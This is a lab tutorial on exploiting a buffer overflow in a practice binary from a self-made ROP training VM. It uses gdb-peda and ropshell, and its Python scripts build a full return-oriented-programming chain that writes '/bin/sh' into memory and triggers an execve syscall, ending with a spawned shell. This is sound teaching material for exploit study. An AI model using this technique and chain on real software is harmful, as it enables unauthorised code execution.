The ROP VM which I made for this exercise can be downloaded from vulnhub.com. Version 0.2 is fixed, as the home dirs had improper permissions (thanks to faleur and marky for notifying me). We’re up against the binary level0. In this case, we have the source code, which helps tremendously. Nevertheless, start by treating it as a blackbox.
First, enable coredumps.
1
seb@minol:~/tmp$ ulimit -c unlimited
Then, make sure you’re not running the exploits against a SUID binary. Linux, by default, will not generate coredumps for SUID binaries. Fair enough. Thanks to @Swappage for alerting me during the workshop!
12
seb@minol:~/tmp$ # remember, coredumps don't work on suid binariesseb@minol:~/tmp$ # so cp ./level0 (suid level1) to ./level0b
Finally, disassemble the binary with objdump:
12
seb@minol:~/tmp$ objdump -d -M intel ./level0 > level0.out
seb@minol:~/tmp$ # -M intel will use the Intel syntax instead of AT&T's syntax.
In some cases, the binary is the only thing given, with no source code available. The disassembly will help to get an understanding of what the binary is doing.
Another useful command is file:
12
seb@minol:~/tmp$ file ./level0
./level0: ELF 32-bit LSB executable, Intel 80386, version 1(SYSV), statically linked, for GNU/Linux 2.6.26, BuildID[sha1]=0x52c391fb68f9d0b47e49220dfe408334f8fdd088, not stripped
This tells us that the binary is 32 bit and statically linked, which explains its large size.
The lea command will load a stack address into eax. That address is put on the stack as an argument for _IO_gets, which will happily read more than enough bytes from STDIN to overflow the buffer and overwrite the saved return address on the stack.
Let’s switch to gdb-peda and see the binary in action.
123456789
seb@minol:~/tmp$ # gdb -q is quiet startup, so it won't print out lots of info. Not strictly necessary. seb@minol:~/tmp$ gdb ./level0 -q
Reading symbols from /home/seb/tmp/level0...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
checksec is a very useful command available in gdb-peda (not in vanilla gdb). In this case, one can see that only NX is enabled, meaning that the stack, heap and other data sections are not executable, whereas code sections are executable but not writeable. Let’s check this within gdb. First, enter start to run the binary and break at the main() function automatically. Then, inspect the memory layout with vmmap, which will show memory regions that are active in memory along with their memory protection flags.
The output of vmmap clearly shows NX in effect: the stack is marked writeable but not executable; the binary, loaded at 0x8048000, is marked executable but not writeable.
So far, so good. Let’s continue to run the binary with c and try to overwrite the saved return address on the stack, taking advantage of the _IO_gets call. Note: you can use a patterned buffer for this as well, check out pattern_create and pattern_offset in gdb-peda.
Lucky shot. eip loaded with LLLL because we’ve overwritten the return address for main() on the stack. As soon as the ret at the end of main() was executed, it popped the value off of the top of the stack into eip and increased esp with four. Because we’ve overwritten that value, we now control eip. To have a look at the stack, issue the following command:
x stands for inspect, with the format specifier and amount after the slash (in this case, 20 DWORDS). Finally, give it the address from which you want to inspect. In this case, I chose $esp-48, which is the start of the buffer on the stack. Confirm that this is our input.
So let’s use this first bit of information and write a script to reliably overwrite the saved return address on the stack. This will serve as the skeleton for our exploit.
1234567891011121314151617
importstruct# this is a helper function, which will take a 32-bit value and convert it to little-endian.defp(x):returnstruct.pack('<L',x)# start our payload as a string of character.payload=""# add padding to overwrite upto the saved return address.payload+="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK"# this part should overwrite the saved return address on the stack.payload+=p(0xdeadbeef)# make sure to output the rop chain.printpayload
To verify that this will return to 0xdeadbeef by overwriting the saved return address, we have two options:
run it outside of gdb and inspect the coredump that is generated
run it, store the rop chain in a file and run the binary in gdb with the file as input
Method 1
Running the exploit in this way is the most accurate way, at least as far as memory layout and stack addresses are concerned. There might be a discrepancy between memory addresses when running within gdb vs outside of gdb. There is a way to fix this, using fixenv: I did not know of this solution until BSides!
1234567891011
seb@minol:~/tmp$ python poc.py | ./level0
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKᆳ�!
Segmentation fault (core dumped)seb@minol:~/tmp$ gdb -q ./level0 core
Reading symbols from /home/seb/tmp/level0...(no debugging symbols found)...done.
[New LWP 2922]Core was generated by `./level0'.
Program terminated with signal 11, Segmentation fault.
#0 0xdeadbeef in ?? ()gdb-peda$
Method 2
This method is especially useful if you need to inspect the memory with vmmap: gdb cannot display memory layout of a coredump!
Regardless of which method is used, eip now points at 0xdeadbeef, which confirms that our proof-of-concept exploit works as intended. We can now start extending the ROP chain to start doing useful things.
In the workshop, I showed the mprotect/read/ret to shellcode strategy. In this writeup, I will use a different way to spawn a shell. We will need access to execve or system() for this.
A lot of students of the ROP workshop tried to find system(), fruitlessly:
12
gdb-peda$ p system
No symbol table is loaded. Use the "file" command.
system() is not linked in this binary! There is, however, one int 0x80; ret gadget available, which we can use to build a ROP chain. During the workshop in London I showed the mprotect and read strategy. Now, I’d like to show how to do an execve syscall using the ROP chain. For added fun, I’ll assume that NULL bytes are badchars.
First, however, upload the binary to ropshell.com or use Your-Favorite-ROP-Gadget-Dumper.
One thing that is absolutely mandatory is access to a gadget that does a syscall. ropshell.com suggests > 0x08052cf0 : int 0x80; ret. Sometimes, there might be another gadget where extra instructions are present between the int and the ret. This is usually fine and you can find them in ropshell.com by searching like this: int 0x80 ?. The extra ? indicates that extra opcodes may be present.
Now that we have that all important gadget, we can start building the rest of the ROP chain. We’ll need to set a couple of registers and build the argument for execve in memory.
For x86 syscalls, the arguments are passed in registers. This website contains a list of the syscalls and a short description of the arguments. For execve, we see this:
1234
eax= syscall number= 0x0b
ebx= pointer to filename to execute
ecx= pointer to argv
edx= pointer to envp
However, I was unable to get the exploit to work when ecx was pointing to a string. Instead, I opted to set ecx and edx to NULL. Let’s start building this ROP chain, starting from the PoC. We will need to write out the string /bin/sh somewhere in memory. For this, we need two things:
A location to write the string
A gadget that allows us to write out the string
For #1, we can look at the output of vmmap in gdb-peda:
ASLR is disabled, but taking the heap or stack is not my favorite option. Instead, let’s use 0x080ca000 to 0x080cb000. This area is readable and writeable. Not executable but that doesn’t matter, as we will not store shellcode there anyway.
For #2, ropshell.com has no good suggestions, as they are add [r32], r32 instructions. If the memory contains values already, we’ll not be able to write out the string reliably, unless the block of memory contains NULL bytes.
To avoid complications, I searched for mov [? in ropshell.com:
1234567891011
ropshell> search mov [?
found many, display max 256 gadgets
> 0x0806bc2b : mov [ecx], 0x83; ret
> 0x08071e79 : mov [ecx], 1; ret
> 0x08079191 : mov [edx], eax; ret
> 0x080a82e8 : mov [eax + 0x4c], edx; ret
> 0x080a6544 : mov [ecx + 0x1fc0], 4; ret
> 0x08076839 : mov [ecx + 0x83049a74], cl; ret
> 0x08052fac : mov [ecx], 1; pop ebp; ret 4
> 0x080499d2 : mov [ecx], eax; pop ebp; ret
> 0x080526f6 : mov [ecx], edx; pop ebp; ret
I like 0x08079191 : mov [edx], eax; ret a lot. It’s only uses two registers and contains no unnecessary instructions. Let’s see how we can set edx and eax to what we need.
12345678910
ropshell> search pop r32
found 15 gadgets
> 0x0806b893 : pop eax; ret
> 0x080525ee : pop ebx; ret
> 0x080525c6 : pop edx; ret
> 0x0806a5c9 : pop esi; ret
> 0x080516ad : pop edi; ret
> 0x08048550 : pop ebp; ret
> 0x08064630 : pop esp; ret
> 0x080525ed : pop ecx; pop ebx; ret
Plenty of gadgets we can use. The plan is now to pop the address 0x080ca040 into edx and the value /bin into eax. The address is arbitrary, but chosen such that we don’t overwrite anything important or that the address contains NULL bytes. Let’s build the first PoC:
importstruct# this is a helper function, which will take a 32-bit value and convert it to little-endian.defp(x):returnstruct.pack('<L',x)# start our payload as a string of character.payload=""# add padding to overwrite upto the saved return address.payload+="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK"payload+=p(0x080525c6)# pop edx; retpayload+=p(0x080ca040)# start writing herepayload+=p(0x0806b893)# pop eax; retpayload+='/bin'# first part of /bin/shpayload+=p(0x08079191)# mov [edx], eax; retpayload+=p(0x080525c6)# pop edx; retpayload+=p(0x080ca044)# just after the first piece of '/bin'payload+=p(0x0806b893)# pop eax; retpayload+='/shX'# we'll zero out the X in a momentpayload+=p(0x08079191)# mov [edx], eax; retpayload+=p(0x08097bff)# xor eax, eax; ret (set eax to 0)payload+=p(0x080525c6)# pop edx; retpayload+=p(0x080ca047)# zero out the X, making the string NULL terminatedpayload+=p(0x08079191)# mov [edx], eax; retpayload+="AAAA"# crashprintpayload
seb@minol:~/tmp$pythonpurepoc0.py>input0seb@minol:~/tmp$gdb-qlevel0Readingsymbolsfrom/home/seb/tmp/level0...(nodebuggingsymbolsfound)...done.gdb-peda$r<input0[+]ROPtutoriallevel0[+]What's your name? [+] Bet you can'tROPme,AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK�@���/bin��D���/shX��{�G��AAAA!ProgramreceivedsignalSIGSEGV,Segmentationfault.[----------------------------------registers-----------------------------------]EAX:0x0EBX:0x0ECX:0xbffff5cc-->0x80ca720-->0xfbad2a84EDX:0x80ca047-->0x0ESI:0x80488e0(<__libc_csu_fini>:pushebp)EDI:0x6f23fbdaEBP:0x4b4b4b4b('KKKK')ESP:0xbffff658-->0x0EIP:0x41414141('AAAA')EFLAGS:0x210246(carryPARITYadjustZEROsigntrapINTERRUPTdirectionoverflow)[-------------------------------------code-------------------------------------]Invalid$PCaddress:0x41414141[------------------------------------stack-------------------------------------]0000|0xbffff658-->0x00004|0xbffff65c-->0x00008|0xbffff660-->0x00012|0xbffff664-->0x00016|0xbffff668-->0x00020|0xbffff66c-->0x6f23fbda0024|0xbffff670-->0x00028|0xbffff674-->0x0[------------------------------------------------------------------------------]Legend:code,data,rodata,valueStoppedreason:SIGSEGV0x41414141in??()gdb-peda$x/s0x80ca0400x80ca040:"/bin/sh"
Excellent, that worked. Now we have to set the registers accordingly. ebx must be set to 0x80ca040, eax must be set to 0x0b and we’ll zero out ecx and edx.
There are no gadgets that do xor ecx, ecx; ret. Instead, I opted to load 0xffffffff into ecx and edx and then increase the registers by one; this will overflow and make both of them zero.
123456789101112
# building from the previous codepayload+=p(0x080525ed)# pop ecx; pop ebx; retpayload+=p(0xffffffff)# ecx -> will be zeroed laterpayload+=p(0x080ca040)# ebx, filename to execute "/bin/sh"payload+=p(0x08083f36)# inc ecx; adc al, 0x39; ret# this will clobber eax, but we'll set it later anyway. ecx will be zero# do the same for edx payload+=p(0x080525c6)# pop edx; retpayload+=p(0xffffffff)# payload+=p(0x0804ef21)# inc edx; add al, 0x83; ret
Our next problem arises: I don’t want to use NULL bytes. However, we’ll need to set eax to 0x0000000b. I use the following sequence for this, making use of the movzx instruction. movzx is move into register, zero extend.
12345678
# continuepayload+=p(0x0806b893)# pop eax; retpayload+=p(0x4141410b)# value for eax, without NULL bytespayload+=p(0x08071b90)# movzx eax, al; ret# after this instruction, eax will be 0x0bpayload+=p(0x08052cf0)# int 0x80; ret
That’s it. Let’s try:
1234567891011
seb@minol:~/tmp$ python purepoc0.py > input0
seb@minol:~/tmp$ gdb -q level0
Reading symbols from /home/seb/tmp/level0...(no debugging symbols found)...done.
gdb-peda$ r < input0
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK...
process 3481 is executing new program: /bin/dash
[Inferior 1(process 3481) exited normally]Warning: not running or target is remote
gdb-peda$
Nice! It looks like the shell was spawned! A final test consists of running it on the command line. The extra cat is added to keep the spawned shell alive, by connecting stdin and stdout of the newly created shell.
1234567
seb@minol:~/tmp$ (python purepoc0.py; cat)| ./level0
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK...<snipped>
id
uid=1000(seb)gid=1000(seb)groups=1000(seb),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),103(fuse),104(scanner),107(bluetooth),108(netdev),119(kismet),900(cbnetwork)whoami
seb
That was about it. The ROP chain is able to set all the required registers, write out a string in memory and finally perform a syscall.